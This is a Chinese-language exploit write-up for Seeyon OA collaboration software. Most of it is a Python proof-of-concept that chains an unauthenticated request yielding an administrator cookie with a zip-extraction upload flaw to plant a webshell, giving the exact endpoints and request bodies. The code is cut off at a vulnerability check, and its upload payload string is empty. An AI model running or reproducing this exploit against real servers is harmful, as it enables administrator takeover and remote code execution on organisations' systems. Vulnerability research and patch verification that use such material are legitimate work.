漏洞名称：致远oa Getshell

产品介绍：协同管理OA软件

漏洞细节：

利用了两个漏洞

1）通过请求直接获取管理员权限cookie

2）通过上传一个压缩文件，调用接口进行文件在解压时会利用解压过程的漏洞利用获取webshell

利用方式：

def seeyon\_new\_rce(targeturl):

orgurl=targeturl

#通过请求直接获取管理员权限cookie

targeturl=orgurl+'seeyon/thirdpartyController.do'

post='method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1'

request = SendRequest(targeturl,post)

response = request.send()

rsp = ""

if response and response.code == 200 and 'set-cookie' in str(response.headers).lower():

cookies = get\_response\_cookies(response.headers)

#上传压缩文件

targeturl=orgurl+'seeyon/fileUpload.do?method=processUpload'

base64post=''

myrandstr=random\_str(8)

post=base64.b64decode(base64post).replace('v3xmaine.jsp',myrandstr+'.txt')

headers={'Content-Type': 'multipart/form-data; boundary=89ebce60-8174-4612-8dc3-717ce6a042ac','Cookie':cookies}

request = SendRequest(targeturl,data=post,headers=headers)

response = request.send()

if response:

try:

rsp = response.read(11 \* 1000 \* 1000)

except Exception as e:

if ("IncompleteRead" in str(e)):

rsp = e.partial

reg=re.compile('fileurls=fileurls\+","\+\'([\-\d]+)\'')

matchs=reg.findall(rsp)

if matchs:

fileid=matchs[0]

#触发文件解压漏洞，获取webshell

targeturl=orgurl+'seeyon/ajax.do'

datestr=time.strftime('%Y-%m-%d')

post='method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22'+datestr+'%22%2C%22'+fileid+'%22%5D'

headers={'Cookie':cookies}

request = SendRequest(targeturl,data=post,headers=headers)

response = request.send()

if response:

rsp\_headers=response.headers

try:

rsp = response.read(11 \* 1000 \* 1000)

except Exception as e:

if ("IncompleteRead" in str(e)):

rsp = e.partial

if response.code == 500 and ("Error on" in rsp):

testrule=orgurl+'seeyon/common/designer/pageLayout/'+myrandstr+'.txt'

if get\_url\_content(testrule):

#漏洞存在